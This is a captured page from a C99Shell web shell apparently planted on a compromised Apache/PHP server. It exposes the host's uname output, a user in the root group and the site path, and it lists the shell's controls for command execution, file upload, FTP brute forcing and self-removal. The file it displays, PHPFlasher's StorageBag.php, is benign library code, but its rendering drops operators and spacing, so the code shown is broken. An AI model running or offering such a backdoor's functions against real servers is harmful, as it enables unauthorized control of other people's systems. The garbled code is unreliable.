!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/php-flasher/flasher/Storage/   drwxr-xr-x
Free 29.16 GB of 117.98 GB (24.72%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     StorageBag.php (1.88 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the PHPFlasher package.
 * (c) Younes KHOUBZA <younes.khoubza@gmail.com>
 */

namespace Flasher\Prime\Storage;

use 
Flasher\Prime\Stamp\UuidStamp;
use 
Flasher\Prime\Storage\Bag\ArrayBag;
use 
Flasher\Prime\Storage\Bag\BagInterface;

final class 
StorageBag implements StorageInterface
{
    
/**
     * @var BagInterface
     */
    
private $bag;

    public function 
__construct(BagInterface $bag null)
    {
        
$this->bag null !== $bag && 'cli' !== \PHP_SAPI $bag : new ArrayBag();
    }

    
/**
     * {@inheritdoc}
     */
    
public function all()
    {
        return 
array_values($this->bag->get());
    }

    
/**
     * {@inheritdoc}
     */
    
public function add($envelopes)
    {
        
$envelopes \is_array($envelopes) ? $envelopes \func_get_args();
        
$envelopes UuidStamp::indexByUuid($envelopes);

        
$stored UuidStamp::indexByUuid($this->all());
        
$envelopes array_merge($stored$envelopes);

        
$this->bag->set(array_values($envelopes));
    }

    
/**
     * {@inheritdoc}
     */
    
public function update($envelopes)
    {
        
$envelopes \is_array($envelopes) ? $envelopes \func_get_args();
        
$envelopes UuidStamp::indexByUuid($envelopes);

        
$stored UuidStamp::indexByUuid($this->all());
        
$envelopes array_merge($stored$envelopes);

        
$this->bag->set(array_values($envelopes));
    }

    
/**
     * {@inheritdoc}
     */
    
public function remove($envelopes)
    {
        
$envelopes \is_array($envelopes) ? $envelopes \func_get_args();
        
$envelopes UuidStamp::indexByUuid($envelopes);

        
$stored UuidStamp::indexByUuid($this->all());
        
$envelopes array_diff_key($stored$envelopes);

        
$this->bag->set(array_values($envelopes));
    }

    
/**
     * {@inheritdoc}
     */
    
public function clear()
    {
        
$this->bag->set(array());
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]--